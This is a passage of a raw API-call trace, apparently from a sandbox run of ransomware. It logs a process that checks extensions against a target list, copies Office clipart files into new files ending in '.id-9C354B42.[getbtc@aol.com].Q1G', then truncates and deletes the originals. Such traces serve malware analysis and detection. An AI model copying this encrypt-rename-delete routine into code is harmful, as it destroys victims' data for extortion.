lpString2="4.WMF") returned -1 [0255.634] lstrlenW (lpString=".ppt") returned 4 [0255.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.634] lstrlenW (lpString=".zip") returned 4 [0255.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.634] lstrlenW (lpString=".rar") returned 4 [0255.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString=".bz2") returned 4 [0255.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString=".7z") returned 3 [0255.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.634] lstrlenW (lpString=".dbf") returned 4 [0255.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.634] lstrlenW (lpString=".1cd") returned 4 [0255.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.634] lstrlenW (lpString=".jpg") returned 4 [0255.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.634] lstrlenW (lpString=".doc") returned 4 [0255.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString=".docx") returned 5 [0255.634] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0255.634] lstrlenW (lpString=".pdf") returned 4 [0255.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString=".xls") returned 4 [0255.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.634] lstrlenW (lpString=".xlsx") returned 5 [0255.634] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0255.634] lstrlenW (lpString=".ppt") returned 4 [0255.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.634] lstrlenW (lpString=".zip") returned 4 [0255.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.634] lstrlenW (lpString=".rar") returned 4 [0255.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.635] lstrlenW (lpString=".bz2") returned 4 [0255.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.635] lstrlenW (lpString=".7z") returned 3 [0255.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.635] lstrlenW (lpString=".dbf") returned 4 [0255.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.635] lstrlenW (lpString=".1cd") returned 4 [0255.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0255.635] lstrlenW (lpString=".jpg") returned 4 [0255.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.635] lstrcmpiW (lpString1=".BMP", lpString2=".Q1G") returned -1 [0255.635] lstrlenW (lpString="J0101864.BMP") returned 12 [0255.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0255.636] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=31968) returned 1 [0255.636] CloseHandle (hObject=0x3a0) returned 1 [0255.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20 [0255.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0255.636] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.636] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0255.637] GetLastError () returned 0x0 [0255.637] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0255.729] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0255.730] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.730] WriteFile (in: hFile=0x3a8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.730] SetEndOfFile (hFile=0x3a8) returned 1 [0255.731] CloseHandle (hObject=0x3a8) returned 1 [0255.731] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.731] SetEndOfFile (hFile=0x3a0) returned 1 [0255.733] CloseHandle (hObject=0x3a0) returned 1 [0255.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0255.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.734] lstrlenW (lpString=".doc") returned 4 [0255.734] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.734] lstrlenW (lpString=".docx") returned 5 [0255.734] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0255.734] lstrlenW (lpString=".pdf") returned 4 [0255.734] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.734] lstrlenW (lpString=".xls") returned 4 [0255.734] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.734] lstrlenW (lpString=".xlsx") returned 5 [0255.734] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0255.734] lstrlenW (lpString=".ppt") returned 4 [0255.734] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.734] lstrlenW (lpString=".zip") returned 4 [0255.734] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.734] lstrlenW (lpString=".rar") returned 4 [0255.734] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.734] lstrlenW (lpString=".bz2") returned 4 [0255.734] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.734] lstrlenW (lpString=".7z") returned 3 [0255.734] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.735] lstrlenW (lpString=".dbf") returned 4 [0255.735] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.735] lstrlenW (lpString=".1cd") returned 4 [0255.735] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.735] lstrlenW (lpString=".jpg") returned 4 [0255.735] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.735] lstrlenW (lpString=".doc") returned 4 [0255.735] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString=".docx") returned 5 [0255.735] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0255.735] lstrlenW (lpString=".pdf") returned 4 [0255.735] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString=".xls") returned 4 [0255.735] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString=".xlsx") returned 5 [0255.735] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0255.735] lstrlenW (lpString=".ppt") returned 4 [0255.735] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.735] lstrlenW (lpString=".zip") returned 4 [0255.735] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString=".rar") returned 4 [0255.735] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString=".bz2") returned 4 [0255.735] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString=".7z") returned 3 [0255.735] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.735] lstrlenW (lpString=".dbf") returned 4 [0255.735] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0255.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.736] lstrlenW (lpString=".1cd") returned 4 [0255.736] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0255.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0255.736] lstrlenW (lpString=".jpg") returned 4 [0255.736] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0255.979] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.979] lstrlenW (lpString="J0105246.WMF") returned 12 [0255.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.979] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=19328) returned 1 [0255.979] CloseHandle (hObject=0x3d8) returned 1 [0255.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 0x20 [0255.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.980] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.980] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0255.981] GetLastError () returned 0x0 [0255.981] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4b80, lpOverlapped=0x0) returned 1 [0255.982] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4b90, lpOverlapped=0x0) returned 1 [0255.983] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.983] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.984] SetEndOfFile (hFile=0x204) returned 1 [0255.984] CloseHandle (hObject=0x204) returned 1 [0255.984] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.984] SetEndOfFile (hFile=0x3d8) returned 1 [0255.986] CloseHandle (hObject=0x3d8) returned 1 [0255.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0255.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.987] lstrlenW (lpString=".doc") returned 4 [0255.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.987] lstrlenW (lpString=".docx") returned 5 [0255.987] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0255.987] lstrlenW (lpString=".pdf") returned 4 [0255.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.987] lstrlenW (lpString=".xls") returned 4 [0255.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.987] lstrlenW (lpString=".xlsx") returned 5 [0255.987] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0255.987] lstrlenW (lpString=".ppt") returned 4 [0255.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.987] lstrlenW (lpString=".zip") returned 4 [0255.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.987] lstrlenW (lpString=".rar") returned 4 [0255.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.987] lstrlenW (lpString=".bz2") returned 4 [0255.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.987] lstrlenW (lpString=".7z") returned 3 [0255.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.987] lstrlenW (lpString=".dbf") returned 4 [0255.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.988] lstrlenW (lpString=".1cd") returned 4 [0255.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.988] lstrlenW (lpString=".jpg") returned 4 [0255.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.988] lstrlenW (lpString=".doc") returned 4 [0255.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString=".docx") returned 5 [0255.988] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0255.988] lstrlenW (lpString=".pdf") returned 4 [0255.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString=".xls") returned 4 [0255.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.988] lstrlenW (lpString=".xlsx") returned 5 [0255.988] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0255.988] lstrlenW (lpString=".ppt") returned 4 [0255.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.988] lstrlenW (lpString=".zip") returned 4 [0255.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.988] lstrlenW (lpString=".rar") returned 4 [0255.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString=".bz2") returned 4 [0255.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString=".7z") returned 3 [0255.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.988] lstrlenW (lpString=".dbf") returned 4 [0255.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.988] lstrlenW (lpString=".1cd") returned 4 [0255.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF") returned 63 [0255.989] lstrlenW (lpString=".jpg") returned 4 [0255.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.989] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.989] lstrlenW (lpString="J0105250.WMF") returned 12 [0255.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.990] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=4628) returned 1 [0255.990] CloseHandle (hObject=0x3d8) returned 1 [0255.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20 [0255.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.990] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.990] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0255.991] GetLastError () returned 0x0 [0255.991] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1214, lpOverlapped=0x0) returned 1 [0255.992] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1220, lpOverlapped=0x0) returned 1 [0255.993] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.993] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0255.993] SetEndOfFile (hFile=0x204) returned 1 [0255.994] CloseHandle (hObject=0x204) returned 1 [0255.994] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.994] SetEndOfFile (hFile=0x3d8) returned 1 [0255.996] CloseHandle (hObject=0x3d8) returned 1 [0255.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0255.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.997] lstrlenW (lpString=".doc") returned 4 [0255.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString=".docx") returned 5 [0255.997] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.997] lstrlenW (lpString=".pdf") returned 4 [0255.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString=".xls") returned 4 [0255.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.997] lstrlenW (lpString=".xlsx") returned 5 [0255.997] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.997] lstrlenW (lpString=".ppt") returned 4 [0255.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.997] lstrlenW (lpString=".zip") returned 4 [0255.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.997] lstrlenW (lpString=".rar") returned 4 [0255.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString=".bz2") returned 4 [0255.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString=".7z") returned 3 [0255.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 